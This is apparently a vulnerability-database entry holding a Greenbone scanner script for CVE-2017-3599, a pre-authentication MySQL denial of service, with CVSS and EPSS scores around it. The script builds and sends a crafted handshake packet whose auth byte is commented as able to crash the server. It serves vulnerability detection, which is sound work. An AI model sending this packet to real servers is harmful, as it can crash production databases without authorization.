7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.4 High
AI Score
Confidence
High
7.8 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:N/I:N/A:C
0.957 High
EPSS
Percentile
99.4%
Oracle MySQL Server is prone to an integer overflow vulnerability.
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:oracle:mysql";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.810773");
script_version("2023-07-25T05:05:58+0000");
script_cve_id("CVE-2017-3599");
script_tag(name:"cvss_base", value:"7.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2019-10-03 00:03:00 +0000 (Thu, 03 Oct 2019)");
script_tag(name:"creation_date", value:"2017-05-04 11:10:40 +0530 (Thu, 04 May 2017)");
script_name("Oracle MySQL Server Integer Overflow Vulnerability");
script_copyright("Copyright (C) 2017 Greenbone AG");
script_category(ACT_ATTACK);
script_family("Databases");
script_dependencies("mysql_version.nasl");
script_require_ports("Services/mysql", 3306);
script_mandatory_keys("oracle/mysql/detected");
script_xref(name:"URL", value:"http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/97754");
script_xref(name:"URL", value:"https://www.secforce.com/blog/2017/04/cve-2017-3599-pre-auth-mysql-remote-dos");
script_tag(name:"summary", value:"Oracle MySQL Server is prone to an integer overflow vulnerability.");
script_tag(name:"vuldetect", value:"Send the crafted request and analyse the
response to confirm the vulnerability.");
script_tag(name:"insight", value:"Upon connection from a client, the server
sends a greeting message and the client continues the communication by
starting the authentication process. The authentication packet sent by
the client contains a wealth of information including the client
capabilities, username, password, etc. The packet is received by the
server, and parsed by 'parse_client_handshake_packet()' function, in
'/sql/auth/sql_authentication.cc'.");
script_tag(name:"impact", value:"Successful exploitation will allow remote
attacker to cause a denial of service via a crafted authentication packet.");
script_tag(name:"affected", value:"Oracle MySQL version 5.6.x branch up to 5.6.35
and 5.7.X branch up to 5.7.17.");
script_tag(name:"solution", value:"Upgrade to MySQL 5.6.36, 5.7.18 or later.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"exploit");
exit(0);
}
include("byte_func.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE, service:"mysql"))
exit(0);
if(!get_app_location(cpe:CPE, port:port, nofork:TRUE))
exit(0);
if(get_kb_item("MySQL/" + port + "/blocked"))
exit(0);
sock = open_sock_tcp(port);
if(!sock)
exit(0);
res = recv(socket:sock, length:1024);
if("mysql_native_password" >!< res) {
close(sock);
exit(0);
}
set_byte_order(BYTE_ORDER_LITTLE_ENDIAN);
# Login request packet
plen = string('\x26\x00\x00'); # 3 Bytes Packet length
packet_num = string('\x01'); # 1 byte Packet number
packet_cap = string('\x85\xa2\xbf\x01'); # client capabilities (default)
packet_max = string('\x00\x00\x00\x01'); # max packet size (default)
packet_cset = string('\x21'); # charset (default)
p_reserved = crap(data:'\x00', length:23); # 23 bytes reserved with nulls (default)
packet_usr = string('test\x00'); # username null terminated (default)
packet_auth = string('\xff'); # Both \xff and \xfe should crash the server
# Tested on vulnerable version crash is
# not happening so the script category is ACT_ATTACK
## complete request
packet = packet_cap + packet_max + packet_cset + p_reserved + packet_usr + packet_auth;
## Add packet length and number
request = plen + packet_num + packet;
## Send full request.
send(socket:sock, data:request);
res = recv( socket:sock, length:1024);
close(sock);
## Patched/Fixed response is "Bad handshake'
if("08S01Bad handshake" >< res)
exit(0);
## The expected value is the password, which could be of two different formats
## (null terminated or length encoded) depending on the client functionality.
if(strlen(res) > 26 && "mysql_native_password" >< res) {
security_message(port:port);
exit(0);
}
exit(99);
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.4 High
AI Score
Confidence
High
7.8 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:N/I:N/A:C
0.957 High
EPSS
Percentile
99.4%